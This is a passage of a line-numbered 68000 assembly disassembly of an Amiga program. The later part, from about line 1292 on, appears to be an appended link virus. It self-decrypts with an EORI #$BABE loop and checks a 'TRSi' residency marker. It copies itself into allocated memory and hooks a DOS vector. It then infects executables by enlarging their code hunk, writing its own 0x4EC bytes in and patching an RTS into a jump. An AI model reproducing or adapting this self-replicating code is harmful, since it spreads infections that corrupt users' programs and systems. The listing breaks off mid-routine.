  1139.     BEQ.S    LAB_0081        ;0BEA: 6712
  1140.     LEA    LAB_0040(PC),A0        ;0BEC: 41FAF82C
  1141.     MOVE.L    A0,D1            ;0BF0: 2208
  1142.     MOVEA.L    4(A3),A6        ;0BF2: 2C6B0004
  1143.     JSR    -948(A6)        ;0BF6: 4EAEFC4C
  1144.     BRA    LAB_0089        ;0BFA: 6000008E
  1145. LAB_0081:
  1146.     TST.L    -16(A5)            ;0BFE: 4AADFFF0
  1147.     BEQ.S    LAB_0082        ;0C02: 6708
  1148.     MOVEQ    #64,D0            ;0C04: 7040
  1149.     MOVE.L    D0,290(A3)        ;0C06: 27400122
  1150.     BRA.S    LAB_0088        ;0C0A: 6078
  1151. LAB_0082:
  1152.     TST.L    -24(A5)            ;0C0C: 4AADFFE8
  1153.     BEQ.S    LAB_0083        ;0C10: 670E
  1154.     BSET    #3,24(A3)        ;0C12: 08EB00030018
  1155.     BSET    #4,293(A3)        ;0C18: 08EB00040125
  1156.     BRA.S    LAB_0088        ;0C1E: 6064
  1157. LAB_0083:
  1158.     TST.L    -28(A5)            ;0C20: 4AADFFE4
  1159.     BEQ.S    LAB_0084        ;0C24: 670C
  1160.     TST.L    D6            ;0C26: 4A86
  1161.     BNE.S    LAB_0084        ;0C28: 6608
  1162.     BSET    #5,293(A3)        ;0C2A: 08EB00050125
  1163.     BRA.S    LAB_0088        ;0C30: 6052
  1164. LAB_0084:
  1165.     TST.L    -20(A5)            ;0C32: 4AADFFEC
  1166.     BEQ.S    LAB_0088        ;0C36: 674C
  1167.     MOVEQ    #1,D0            ;0C38: 7001
  1168.     CMP.L    D0,D6            ;0C3A: BC80
  1169.     BNE.S    LAB_0087        ;0C3C: 6640
  1170.     MOVE.L    D7,D1            ;0C3E: 2207
  1171.     MOVEA.L    4(A3),A6        ;0C40: 2C6B0004
  1172.     JSR    -126(A6)        ;0C44: 4EAEFF82
  1173.     MOVE.L    D0,D6            ;0C48: 2C00
  1174.     LEA    330(A3),A0        ;0C4A: 41EB014A
  1175.     MOVE.L    A0,D1            ;0C4E: 2208
  1176.     JSR    -72(A6)            ;0C50: 4EAEFFB8
  1177.     TST.L    D0            ;0C54: 4A80
  1178.     BNE.S    LAB_0085        ;0C56: 6610
  1179.     JSR    -132(A6)        ;0C58: 4EAEFF7C
  1180.     MOVE.L    D0,294(A3)        ;0C5C: 27400126
  1181.     MOVEQ    #10,D0            ;0C60: 700A
  1182.     MOVE.L    D0,298(A3)        ;0C62: 2740012A
  1183.     BRA.S    LAB_0086        ;0C66: 600A
  1184. LAB_0085:
  1185.     LEA    LAB_0031(PC),A0        ;0C68: 41FAF6FA
  1186.     MOVE.L    A0,D1            ;0C6C: 2208
  1187.     JSR    -948(A6)        ;0C6E: 4EAEFC4C
  1188. LAB_0086:
  1189.     MOVE.L    D6,D1            ;0C72: 2206
  1190.     MOVEA.L    4(A3),A6        ;0C74: 2C6B0004
  1191.     JSR    -126(A6)        ;0C78: 4EAEFF82
  1192.     BRA.S    LAB_0088        ;0C7C: 6006
  1193. LAB_0087:
  1194.     BSET    #0,292(A3)        ;0C7E: 08EB00000124
  1195. LAB_0088:
  1196.     BCLR    #7,293(A3)        ;0C84: 08AB00070125
  1197. LAB_0089:
  1198.     MOVE.L    A2,D1            ;0C8A: 220A
  1199.     MOVEA.L    4(A3),A6        ;0C8C: 2C6B0004
  1200.     JSR    -858(A6)        ;0C90: 4EAEFCA6
  1201. LAB_008A:
  1202.     MOVEA.L    28(A7),A1        ;0C94: 226F001C
  1203.     MOVEA.L    (A3),A6            ;0C98: 2C53
  1204.     JSR    -690(A6)        ;0C9A: 4EAEFD4E
  1205. LAB_008B:
  1206.     MOVEM.L    (A7)+,D2-D3/D6-D7/A2-A3/A6 ;0C9E: 4CDF4CCC
  1207.     UNLK    A5            ;0CA2: 4E5D
  1208.     RTS                ;0CA4: 4E75
  1209. LAB_008C:
  1210.     LINK    A5,#-4            ;0CA6: 4E55FFFC
  1211.     MOVE.L    D0,-4(A5)        ;0CAA: 2B40FFFC
  1212.     MOVE.B    D0,(A3)+        ;0CAE: 16C0
  1213.     UNLK    A5            ;0CB0: 4E5D
  1214.     RTS                ;0CB2: 4E75
  1215. LAB_008D:
  1216.     LINK    A5,#0            ;0CB4: 4E550000
  1217.     MOVEM.L    A2-A3/A6,-(A7)        ;0CB8: 48E70032
  1218.     MOVEA.L    A0,A3            ;0CBC: 2648
  1219.     MOVEA.L    A1,A2            ;0CBE: 2449
  1220.     MOVEM.L    A2-A3,-(A7)        ;0CC0: 48E70030
  1221.     MOVEA.L    A2,A0            ;0CC4: 204A
  1222.     MOVEA.L    8(A5),A1        ;0CC6: 226D0008
  1223.     LEA    LAB_008C(PC),A2        ;0CCA: 45FAFFDA
  1224.     MOVEA.L    (ABSEXECBASE).W,A6    ;0CCE: 2C780004
  1225.     JSR    -522(A6)        ;0CD2: 4EAEFDF6
  1226.     MOVEM.L    (A7)+,A2-A3        ;0CD6: 4CDF0C00
  1227.     MOVEA.L    A3,A0            ;0CDA: 204B
  1228. LAB_008E:
  1229.     TST.B    (A0)+            ;0CDC: 4A18
  1230.     BNE.S    LAB_008E        ;0CDE: 66FC
  1231.     SUBQ.L    #1,A0            ;0CE0: 5388
  1232.     SUBA.L    A3,A0            ;0CE2: 91CB
  1233.     MOVE.L    A0,D0            ;0CE4: 2008
  1234.     MOVEM.L    (A7)+,A2-A3/A6        ;0CE6: 4CDF4C00
  1235.     UNLK    A5            ;0CEA: 4E5D
  1236.     BRA.S    LAB_009D        ;0CEC: 605E
  1237.     DC.W    $0000            ;0CEE
  1238. LAB_008F:
  1239.     MOVE.L    A0,D1            ;0CF0: 2208
  1240.     BRA.S    LAB_0091        ;0CF2: 6004
  1241. LAB_0090:
  1242.     MOVE.B    (A1)+,(A0)+        ;0CF4: 10D9
  1243.     BEQ.S    LAB_0093        ;0CF6: 6708
  1244. LAB_0091:
  1245.     SUBQ.L    #1,D0            ;0CF8: 5380
  1246.     BCC.S    LAB_0090        ;0CFA: 64F8
  1247.     BRA.S    LAB_0094        ;0CFC: 6006
  1248. LAB_0092:
  1249.     CLR.B    (A0)+            ;0CFE: 4218
  1250. LAB_0093:
  1251.     SUBQ.L    #1,D0            ;0D00: 5380
  1252.     BCC.S    LAB_0092        ;0D02: 64FA
  1253. LAB_0094:
  1254.     MOVE.L    D1,D0            ;0D04: 2001
  1255.     BRA.S    LAB_009D        ;0D06: 6044
  1256. LAB_0095:
  1257.     MOVEQ    #0,D0            ;0D08: 7000
  1258.     MOVEQ    #0,D1            ;0D0A: 7200
  1259. LAB_0096:
  1260.     MOVE.B    (A0)+,D0        ;0D0C: 1018
  1261.     MOVE.B    (A1)+,D1        ;0D0E: 1219
  1262.     CMPI.B    #$61,D0            ;0D10: 0C000061
  1263.     BLT.S    LAB_0097        ;0D14: 6D0A
  1264.     CMPI.B    #$7A,D0            ;0D16: 0C00007A
  1265.     BGT.S    LAB_0097        ;0D1A: 6E04
  1266.     SUBI.B    #$20,D0            ;0D1C: 04000020
  1267. LAB_0097:
  1268.     CMPI.B    #$61,D1            ;0D20: 0C010061
  1269.     BLT.S    LAB_0098        ;0D24: 6D0A
  1270.     CMPI.B    #$7A,D1            ;0D26: 0C01007A
  1271.     BGT.S    LAB_0098        ;0D2A: 6E04
  1272.     SUBI.B    #$20,D1            ;0D2C: 04010020
  1273. LAB_0098:
  1274.     SUB.L    D1,D0            ;0D30: 9081
  1275.     BNE.S    LAB_0099        ;0D32: 6604
  1276.     TST.B    D1            ;0D34: 4A01
  1277.     BNE.S    LAB_0096        ;0D36: 66D4
  1278. LAB_0099:
  1279.     BRA.S    LAB_009D        ;0D38: 6012
  1280.     DC.W    $0000            ;0D3A
  1281. LAB_009A:
  1282.     MOVE.L    A0,D0            ;0D3C: 2008
  1283. LAB_009B:
  1284.     TST.B    (A0)+            ;0D3E: 4A18
  1285.     BNE.S    LAB_009B        ;0D40: 66FC
  1286.     SUBQ.L    #1,A0            ;0D42: 5388
  1287. LAB_009C:
  1288.     MOVE.B    (A1)+,(A0)+        ;0D44: 10D9
  1289.     BNE.S    LAB_009C        ;0D46: 66FC
  1290.     BRA.S    LAB_009D        ;0D48: 6002
  1291.     DC.W    $0000            ;0D4A
  1292. LAB_009D:
  1293.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0D4C: 48E7FFFE
  1294.     BSR.S    LAB_009E        ;0D50: 6108
  1295.     BSR.S    LAB_00A2        ;0D52: 613E
  1296.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0D54: 4CDF7FFF
  1297.     RTS                ;0D58: 4E75
  1298. LAB_009E:
  1299.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0D5A: 48E7FFFE
  1300.     LEA    LAB_00CF(PC),A0        ;0D5E: 41FA0422
  1301.     DC.W    $43FA            ;0D62
  1302.     DC.W    $04D4            ;0D64
  1303. LAB_009F:
  1304.     EORI    #$BABE,(A0)+        ;0D66: 0A58BABE
  1305.     CMPA.L    A0,A1            ;0D6A: B3C8
  1306.     BNE.S    LAB_009F        ;0D6C: 66F8
  1307.     MOVEA.L    (ABSEXECBASE).W,A6    ;0D6E: 2C780004
  1308.     JSR    -636(A6)        ;0D72: 4EAEFD84
  1309.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0D76: 4CDF7FFF
  1310.     RTS                ;0D7A: 4E75
  1311. LAB_00A0:
  1312.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;0D7C: 48E77FFE
  1313.     MOVE.L    #$00050001,D1        ;0D80: 223C00050001
  1314.     JSR    -684(A6)        ;0D86: 4EAEFD54
  1315.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;0D8A: 4CDF7FFE
  1316.     TST.L    D0            ;0D8E: 4A80
  1317. LAB_00A1:
  1318.     RTS                ;0D90: 4E75
  1319. LAB_00A2:
  1320.     MOVEA.L    (ABSEXECBASE).W,A6    ;0D92: 2C780004
  1321. LAB_00A3:
  1322.     CMPI.L    #$54525369,514(A6)    ;0D96: 0CAE545253690202
  1323.     BEQ.S    LAB_00A1        ;0D9E: 67F0
  1324.     MOVE.L    #$00000200,D0        ;0DA0: 203C00000200
  1325.     BSR.S    LAB_00A0        ;0DA6: 61D4
  1326.     BEQ.S    LAB_00A1        ;0DA8: 67E6
  1327.     LEA    LAB_009D(PC),A1        ;0DAA: 43FAFFA0
  1328.     MOVE.L    D0,1062(A1)        ;0DAE: 23400426
  1329.     MOVE.L    #$00000522,D0        ;0DB2: 203C00000522
  1330.     BSR.S    LAB_00A0        ;0DB8: 61C2
  1331.     BEQ.S    LAB_00A1        ;0DBA: 67D4
  1332.     MOVEA.L    D0,A0            ;0DBC: 2040
  1333.     MOVE    #$04EB,D1        ;0DBE: 323C04EB
  1334. LAB_00A4:
  1335.     MOVE.B    (A1)+,(A0)+        ;0DC2: 10D9
  1336.     DBF    D1,LAB_00A4        ;0DC4: 51C9FFFC
  1337.     MOVEA.L    D0,A0            ;0DC8: 2040
  1338.     PEA    134(A0)            ;0DCA: 48680086
  1339.     JMP    -636(A6)        ;0DCE: 4EEEFD84
  1340.     LEA    LAB_00CE(PC),A1        ;0DD2: 43FA03A2
  1341.     MOVE.L    #$10020019,198(A1)    ;0DD6: 237C1002001900C6
  1342.     MOVEQ    #37,D0            ;0DDE: 7025
  1343.     JSR    -552(A6)        ;0DE0: 4EAEFDD8
  1344.     TST.L    D0            ;0DE4: 4A80
  1345.     BEQ.S    LAB_00A1        ;0DE6: 67A8
  1346.     DC.W    $43FA            ;0DE8
  1347.     DC.W    $044E            ;0DEA
  1348.     MOVE.L    D0,(A1)            ;0DEC: 2280
  1349.     MOVEA.L    D0,A2            ;0DEE: 2440
  1350.     MOVEA.L    -148(A2),A3        ;0DF0: 266AFF6C
  1351.     LEA    LAB_00A6(PC),A4        ;0DF4: 49FA0044
  1352.     MOVE.L    -162(A4),D1        ;0DF8: 222CFF5E
  1353.     CMP.L    -162(A3),D1        ;0DFC: B2ABFF5E
  1354.     BEQ.S    LAB_00A5        ;0E00: 6708
  1355.     MOVE.L    A3,1042(A4)        ;0E02: 294B0412
  1356.     MOVE.L    A4,-148(A2)        ;0E06: 254CFF6C
  1357. LAB_00A5:
  1358.     MOVE.L    LAB_00A3+2(PC),514(A6)    ;0E0A: 2D7AFF8C0202
  1359.     LEA    LAB_00D1(PC),A1        ;0E10: 43FA0384
  1360.     JSR    -294(A6)        ;0E14: 4EAEFEDA
  1361.     TST.L    D0            ;0E18: 4A80
  1362.     BNE.S    LAB_00A8        ;0E1A: 6634
  1363.     LEA    LAB_00D1(PC),A1        ;0E1C: 43FA0378
  1364.     MOVE.L    A1,D1            ;0E20: 2209
  1365.     CLR.L    D2            ;0E22: 4282
  1366.     LEA    LAB_00BA(PC),A1        ;0E24: 43FA01CA
  1367.     MOVE.L    A1,D3            ;0E28: 2609
  1368.     LSR.L    #2,D3            ;0E2A: E48B
  1369.     MOVE.L    #$00000400,D4        ;0E2C: 283C00000400
  1370.     DC.W    $2C7A            ;0E32
  1371.     DC.W    $0404            ;0E34
  1372.     JMP    -138(A6)        ;0E36: 4EEEFF76
  1373. LAB_00A6:
  1374.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0E3A: 48E7FFFE
  1375.     DC.W    $4BFA            ;0E3E
  1376.     DC.W    $0428            ;0E40
  1377.     TST.L    (A5)            ;0E42: 4A95
  1378.     BNE.S    LAB_00A7        ;0E44: 6602
  1379.     BSR.S    LAB_00AA        ;0E46: 6110
  1380. LAB_00A7:
  1381.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0E48: 4CDF7FFF
  1382.     DC.W    $2F3A            ;0E4C
  1383.     DC.W    $03FE            ;0E4E
  1384. LAB_00A8:
  1385.     RTS                ;0E50: 4E75
  1386. LAB_00A9:
  1387.     MOVE.L    D7,D1            ;0E52: 2207
  1388.     JMP    -90(A6)            ;0E54: 4EEEFFA6
  1389. LAB_00AA:
  1390.     DC.W    $2C7A            ;0E58
  1391.     BSET    D1,(A6)+        ;0E5A: 03DE
  1392.     DC.W    $41FA            ;0E5C
  1393.     BSET    D1,-127(A2,D2.W)    ;0E5E: 03F22081
  1394.     MOVEQ    #-1,D2            ;0E62: 74FF
  1395.     JSR    -84(A6)            ;0E64: 4EAEFFAC
  1396.     TST.L    D0            ;0E68: 4A80
  1397.     BEQ.S    LAB_00A8        ;0E6A: 67E4
  1398.     MOVE.L    D0,D7            ;0E6C: 2E00
  1399.     MOVE.L    D0,D1            ;0E6E: 2200
  1400.     MOVEA.L    LAB_00CD(PC),A5        ;0E70: 2A7A0300
  1401.     MOVE.L    A5,D2            ;0E74: 240D
  1402.     JSR    -114(A6)        ;0E76: 4EAEFF8E
  1403.     TST.L    D0            ;0E7A: 4A80
  1404.     BEQ.S    LAB_00A9        ;0E7C: 67D4
  1405.     CMPI.L    #$00000052,8(A5)    ;0E7E: 0CAD000000520008
  1406.     BNE.S    LAB_00A9        ;0E86: 66CA
  1407.     MOVE.L    12(A5),D0        ;0E88: 202D000C
  1408.     SUB.L    16(A5),D0        ;0E8C: 90AD0010
  1409.     CMP.L    #$00000005,D0        ;0E90: B0BC00000005
  1410.     BLE.S    LAB_00A9        ;0E96: 6FBA
  1411.     MOVE.L    D7,D1            ;0E98: 2207
  1412.     MOVE.L    A5,D2            ;0E9A: 240D
  1413.     JSR    -102(A6)        ;0E9C: 4EAEFF9A
  1414.     TST.L    D0            ;0EA0: 4A80
  1415.     BEQ.S    LAB_00A9        ;0EA2: 67AE
  1416.     TST    116(A5)            ;0EA4: 4A6D0074
  1417.     BNE.S    LAB_00A9        ;0EA8: 66A8
  1418.     CMPI.L    #$0001E848,124(A5)    ;0EAA: 0CAD0001E848007C
  1419.     BHI.S    LAB_00A9        ;0EB2: 629E
  1420.     BSR.S    LAB_00A9        ;0EB4: 619C
  1421.     MOVE.L    124(A5),D0        ;0EB6: 202D007C
  1422.     MOVEA.L    (ABSEXECBASE).W,A6    ;0EBA: 2C780004
  1423.     BSR    LAB_00A0        ;0EBE: 6100FEBC
  1424.     BEQ.S    LAB_00AB        ;0EC2: 6716
  1425.     MOVE.L    D0,D7            ;0EC4: 2E00
  1426.     DC.W    $2C7A            ;0EC6
  1427.     DC.W    $0370            ;0EC8
  1428.     DC.W    $223A            ;0ECA
  1429.     BCLR    D1,D4            ;0ECC: 0384
  1430.     MOVE.L    #$000003ED,D2        ;0ECE: 243C000003ED
  1431.     JSR    -30(A6)            ;0ED4: 4EAEFFE2
  1432.     TST.L    D0            ;0ED8: 4A80
  1433. LAB_00AB:
  1434.     BEQ    LAB_00B0        ;0EDA: 6700008C
  1435.     MOVE.L    D0,D6            ;0EDE: 2C00
  1436.     MOVE.L    D0,D1            ;0EE0: 2200
  1437.     MOVE.L    D7,D2            ;0EE2: 2407
  1438.     MOVEA.L    LAB_00CD(PC),A5        ;0EE4: 2A7A028C
  1439.     MOVE.L    124(A5),D3        ;0EE8: 262D007C
  1440.     JSR    -42(A6)            ;0EEC: 4EAEFFD6
  1441.     CMP.L    124(A5),D0        ;0EF0: B0AD007C
  1442.     BEQ.S    LAB_00AE        ;0EF4: 670A
  1443.     BRA.S    LAB_00AF        ;0EF6: 6042
  1444. LAB_00AC:
  1445.     MOVE.L    D7,D2            ;0EF8: 2407
  1446. LAB_00AD:
  1447.     MOVE.L    D6,D1            ;0EFA: 2206
  1448.     JMP    -48(A6)            ;0EFC: 4EEEFFD0
  1449. LAB_00AE:
  1450.     MOVE.L    D6,D1            ;0F00: 2206
  1451.     CLR.L    D2            ;0F02: 4282
  1452.     MOVEQ    #-1,D3            ;0F04: 76FF
  1453.     JSR    -66(A6)            ;0F06: 4EAEFFBE
  1454.     BSR.S    LAB_00B1        ;0F0A: 6166
  1455.     BNE.S    LAB_00AF        ;0F0C: 662C
  1456.     DC.W    $263A            ;0F0E
  1457.     BCHG    D1,D4            ;0F10: 0344
  1458.     BSR.S    LAB_00AC        ;0F12: 61E4
  1459.     BSR    LAB_009E        ;0F14: 6100FE44
  1460.     LEA    LAB_009D(PC),A0        ;0F18: 41FAFE32
  1461.     MOVE.L    A0,D2            ;0F1C: 2408
  1462.     MOVE.L    #$000004EC,D3        ;0F1E: 263C000004EC
  1463.     BSR.S    LAB_00AD        ;0F24: 61D4
  1464.     MOVE.L    D7,D2            ;0F26: 2407
  1465.     MOVE.L    124(A5),D3        ;0F28: 262D007C
  1466.     DC.W    $96BA            ;0F2C
  1467.     BTST    D1,-(A6)        ;0F2E: 0326
  1468.     DC.W    $D4BA            ;0F30
  1469.     BTST    D1,-(A2)        ;0F32: 0322
  1470.     BSR.S    LAB_00AD        ;0F34: 61C4
  1471.     BSR    LAB_009E        ;0F36: 6100FE22
  1472. LAB_00AF:
  1473.     MOVE.L    D6,D1            ;0F3A: 2206
  1474.     JSR    -36(A6)            ;0F3C: 4EAEFFDC
  1475.     DC.W    $2C7A            ;0F40
  1476.     DC.W    $02F6            ;0F42
  1477.     MOVEA.L    LAB_00CD(PC),A5        ;0F44: 2A7A022C
  1478.     MOVE    #$FAB4,116(A5)        ;0F48: 3B7CFAB40074
  1479.     MOVE.L    116(A5),D2        ;0F4E: 242D0074
  1480.     DC.W    $223A            ;0F52
  1481.     DC.W    $02FC            ;0F54
  1482.     JSR    -186(A6)        ;0F56: 4EAEFF46
  1483.     LEA    132(A5),A0        ;0F5A: 41ED0084
  1484.     DC.W    $223A            ;0F5E
  1485.     DC.W    $02F0            ;0F60
  1486.     MOVE.L    A0,D2            ;0F62: 2408
  1487.     JMP    -396(A6)        ;0F64: 4EEEFE74
  1488. LAB_00B0:
  1489.     MOVEA.L    (ABSEXECBASE).W,A6    ;0F68: 2C780004
  1490.     MOVEA.L    D7,A1            ;0F6C: 2247
  1491.     JMP    -690(A6)        ;0F6E: 4EEEFD4E
  1492. LAB_00B1:
  1493.     MOVEA.L    D7,A0            ;0F72: 2047
  1494.     CMPI    #$03F3,2(A0)        ;0F74: 0C6803F30002
  1495.     BEQ.S    LAB_00B4        ;0F7A: 6704
  1496. LAB_00B2:
  1497.     MOVEQ    #-1,D0            ;0F7C: 70FF
  1498. LAB_00B3:
  1499.     RTS                ;0F7E: 4E75
  1500. LAB_00B4:
  1501.     MOVE.L    8(A0),D0        ;0F80: 20280008
  1502.     ADDQ.L    #5,D0            ;0F84: 5A80
  1503.     LSL.L    #2,D0            ;0F86: E588
  1504.     CMPI    #$03E9,2(A0,D0.L)    ;0F88: 0C7003E90802
  1505.     BNE.S    LAB_00B3        ;0F8E: 66EE
  1506.     MOVE.L    4(A0,D0.L),D1        ;0F90: 22300804
  1507.     CMP.L    20(A0),D1        ;0F94: B2A80014
  1508.     BNE.S    LAB_00B2        ;0F98: 66E2
  1509.     ADDI.L    #$0000013B,20(A0)    ;0F9A: 06A80000013B0014
  1510.     ADDI.L    #$0000013B,4(A0,D0.L)    ;0FA2: 06B00000013B0804
  1511.     LSL.L    #2,D1            ;0FAA: E589
  1512.     ADD.L    D1,D0            ;0FAC: D081
  1513.     ADDQ.L    #8,D0            ;0FAE: 5080
  1514.     DC.W    $43FA            ;0FB0
  1515.     ANDI.L    #$2280D1C0,-(A2)    ;0FB2: 02A22280D1C0
  1516.     CMPI.L    #$54525369,-1184(A0)    ;0FB8: 0CA854525369FB60     'TRSi'
  1517.     BEQ.S    LAB_00B2        ;0FC0: 67BA
  1518.     MOVEQ    #-1,D2            ;0FC2: 74FF
  1519.     MOVEQ    #62,D0            ;0FC4: 703E
  1520. LAB_00B5:
  1521.     CMPI    #$4E75,-(A0)        ;0FC6: 0C604E75
  1522.     BEQ.S    LAB_00B7        ;0FCA: 6708
  1523. LAB_00B6:
  1524.     DBF    D0,LAB_00B5        ;0FCC: 51C8FFF8
  1525.     TST.L    D2            ;0FD0: 4A82
  1526.     RTS                ;0FD2: 4E75
  1527. LAB_00B7:
  1528.     MOVEQ    #124,D1            ;0FD4: 727C
  1529.     LSL.L    #1,D0            ;0FD6: E388
  1530.     SUB.L    D0,D1            ;0FD8: 9280
  1531.     BNE.S    LAB_00B8        ;0FDA: 6606
  1532.     MOVE    #$4E71,(A0)        ;0FDC: 30BC4E71
  1533.     BRA.S    LAB_00B9        ;0FE0: 6008
  1534. LAB_00B8:
  1535.     MOVE.B    #$60,(A0)        ;0FE2: 10BC0060
  1536.     MOVE.B    D1,1(A0)        ;0FE6: 11410001
  1537. LAB_00B9:
  1538.     MOVEQ    #0,D2            ;0FEA: 7400
  1539.     LSR.L    #1,D0            ;0FEC: E288
  1540.     BRA.S    LAB_00B6        ;0FEE: 60DC
  1541. LAB_00BA:
  1542.     ORI.B    #$10,D0            ;0FF0: 00000010
  1543.     ORI.B    #$00,D0            ;0FF4: 00000000
  1544. LAB_00BB:
  1545.     BSR.S    LAB_00BC        ;0FF8: 611C
  1546.     DC.W    $2C7A            ;0FFA
  1547.     DC.W    $023C            ;0FFC
  1548.     LEA    LAB_00D0(PC),A1        ;0FFE: 43FA0194
  1549.     MOVE.L    A1,D1            ;1002: 2209
  1550.     MOVEQ    #-2,D2            ;1004: 74FE
  1551.     JSR    -84(A6)            ;1006: 4EAEFFAC
  1552.     MOVE.L    D0,D1            ;100A: 2200
  1553.     BEQ.S    LAB_00BD        ;100C: 6710
  1554.     JSR    -90(A6)            ;100E: 4EAEFFA6
  1555.     BRA    LAB_00BF        ;1012: 600000AE
  1556. LAB_00BC:
  1557.     DC.W    $4BFA            ;1016
  1558.     ANDI    #$4695,(A0)        ;1018: 02504695
  1559.     RTS                ;101C: 4E75
  1560. LAB_00BD:
  1561.     MOVEA.L    (ABSEXECBASE).W,A6    ;101E: 2C780004
  1562.     LEA    LAB_00CF(PC),A1        ;1022: 43FA015E
  1563.     CLR    234(A1)            ;1026: 426900EA
  1564.     MOVEQ    #3,D0            ;102A: 7003
  1565.     JSR    -552(A6)        ;102C: 4EAEFDD8
  1566.     TST.L    D0            ;1030: 4A80
  1567.     BEQ    LAB_00BF        ;1032: 6700008E
  1568.     LEA    LAB_00D2(PC),A0        ;1036: 41FA0162
  1569.     MOVE.L    D0,190(A0)        ;103A: 214000BE
  1570.     MOVEA.L    D0,A6            ;103E: 2C40
  1571.     JSR    -210(A6)        ;1040: 4EAEFF2E
  1572.     TST.L    D0            ;1044: 4A80
  1573.     BEQ.S    LAB_00BE        ;1046: 676E
  1574.     DC.W    $41FA            ;1048
  1575.     DC.W    $0212            ;104A
  1576.     MOVE.L    D0,(A0)            ;104C: 2080
  1577.     MOVEA.L    D0,A5            ;104E: 2A40
  1578.     MOVE.L    8(A5),D0        ;1050: 202D0008
  1579.     MOVEQ    #1,D1            ;1054: 7201
  1580.     MOVEQ    #0,D2            ;1056: 7400
  1581.     MOVEA.L    16(A5),A1        ;1058: 226D0010
  1582.     MOVEA.L    (A1),A1            ;105C: 2251
  1583.     MOVE.L    (A1),-28(A0)        ;105E: 2151FFE4
  1584.     JSR    -30(A6)            ;1062: 4EAEFFE2
  1585.     DC.W    $41FA            ;1066
  1586.     BSET    D0,(A4)            ;1068: 01D4
  1587.     MOVE.L    D0,36(A0)        ;106A: 21400024
  1588.     ADDQ.L    #1,D0            ;106E: 5280
  1589.     BEQ.S    LAB_00BE        ;1070: 6744
  1590.     SUBQ.L    #1,D0            ;1072: 5380
  1591.     MOVEQ    #16,D1            ;1074: 7210
  1592.     JSR    -54(A6)            ;1076: 4EAEFFCA
  1593.     TST.L    D0            ;107A: 4A80
  1594.     BNE.S    LAB_00BE        ;107C: 6638
  1595.     BSR    LAB_00C5        ;107E: 61000082
  1596.     MOVE.L    D0,-(A7)        ;1082: 2F00
  1597.     DC.W    $203A            ;1084
  1598.     BSET    D0,(A2)+        ;1086: 01DA
  1599.     MOVEQ    #2,D1            ;1088: 7202
  1600.     JSR    -84(A6)            ;108A: 4EAEFFAC
  1601.     DC.W    $203A            ;108E
  1602.     BSET    D0,(A0)            ;1090: 01D0
  1603.     JSR    -120(A6)        ;1092: 4EAEFF88
  1604.     MOVE.L    (A7)+,D0        ;1096: 201F
  1605.     BNE.S    LAB_00BE        ;1098: 661C
  1606.     DC.W    $2C7A            ;109A
  1607.     BCLR    D0,(A4)+        ;109C: 019C
  1608.     LEA    LAB_00D0(PC),A1        ;109E: 43FA00F4
  1609.     MOVE.L    A1,D1            ;10A2: 2209
  1610.     MOVE.L    #$000003EE,D2        ;10A4: 243C000003EE
  1611.     JSR    -30(A6)            ;10AA: 4EAEFFE2
  1612.     MOVE.L    D0,D1            ;10AE: 2200
  1613.     BEQ.S    LAB_00BE        ;10B0: 6704
  1614.     JSR    -36(A6)            ;10B2: 4EAEFFDC
  1615. LAB_00BE:
  1616.     MOVEA.L    (ABSEXECBASE).W,A6    ;10B6: 2C780004
  1617.     DC.W    $227A            ;10BA
  1618.     BCLR    D0,(A4)+        ;10BC: 019C
  1619.     JSR    -414(A6)        ;10BE: 4EAEFE62
  1620. LAB_00BF:
  1621.     BSR    LAB_00BC        ;10C2: 6100FF52
  1622.     DC.W    $2C7A            ;10C6
  1623.     DC.W    $0170            ;10C8
  1624.     MOVE.L    #$00007530,D1        ;10CA: 223C00007530
  1625.     JSR    -198(A6)        ;10D0: 4EAEFF3A
  1626.     BRA    LAB_00BB        ;10D4: 6000FF22
  1627. LAB_00C0:
  1628.     MOVE.L    #$000001FF,D1        ;10D8: 223C000001FF
  1629. LAB_00C1:
  1630.     DC.W    $203A            ;10DE
  1631.     BCLR    D0,D0            ;10E0: 0180
  1632.     MOVEQ    #0,D2            ;10E2: 7400
  1633.     RTS                ;10E4: 4E75
  1634. LAB_00C2:
  1635.     MOVEA.L    LAB_00CD(PC),A0        ;10E6: 207A008A
  1636.     BSR.S    LAB_00C0        ;10EA: 61EC
  1637.     JSR    -78(A6)            ;10EC: 4EAEFFB2
  1638. LAB_00C3:
  1639.     ADDQ.L    #1,D0            ;10F0: 5280
  1640.     RTS                ;10F2: 4E75
  1641. LAB_00C4:
  1642.     BSR.S    LAB_00C1        ;10F4: 61E8
  1643.     ANDI.L    #$000000FF,D1        ;10F6: 0281000000FF
  1644.     JSR    -66(A6)            ;10FC: 4EAEFFBE
  1645.     BRA.S    LAB_00C3        ;1100: 60EE
  1646. LAB_00C5:
  1647.     MOVEQ    #0,D1            ;1102: 7200
  1648.     MOVEA.L    LAB_00CD(PC),A0        ;1104: 207A006C
  1649.     BSR.S    LAB_00C4        ;1108: 61EA
  1650.     BEQ.S    LAB_00CA        ;110A: 6752
  1651.     BSR.S    LAB_00C2        ;110C: 61D8
  1652.     BEQ.S    LAB_00CA        ;110E: 674E
  1653.     MOVE.L    #$32323000,D0        ;1110: 203C32323000
  1654.     BSR.S    LAB_00CC        ;1116: 614E
  1655.     BNE.S    LAB_00CA        ;1118: 6644
  1656.     LEA    LAB_00D4+1(PC),A0    ;111A: 41FA0097
  1657. LAB_00C6:
  1658.     LEA    LAB_00D3(PC),A1        ;111E: 43FA008C
  1659.     CLR.L    D1            ;1122: 4281
  1660.     MOVE    192(A1),D1        ;1124: 322900C0
  1661.     MOVE.B    0(A1,D1.W),D1        ;1128: 12311000
  1662.     MOVEA.L    A0,A2            ;112C: 2448
  1663.     ADDA.L    D1,A2            ;112E: D5C1
  1664.     MOVE.L    A2,-(A7)        ;1130: 2F0A
  1665.     ADDQ    #1,192(A1)        ;1132: 526900C0
  1666.     BSR.S    LAB_00C4        ;1136: 61BC
  1667.     BEQ.S    LAB_00C9        ;1138: 6722
  1668.     DC.W    $323A            ;113A
  1669.     DC.W    $0130            ;113C
  1670.     CMP    #$0006,D1        ;113E: B27C0006
  1671.     BGE.S    LAB_00C7        ;1142: 6C06
  1672.     CMP    #$0005,D1        ;1144: B27C0005
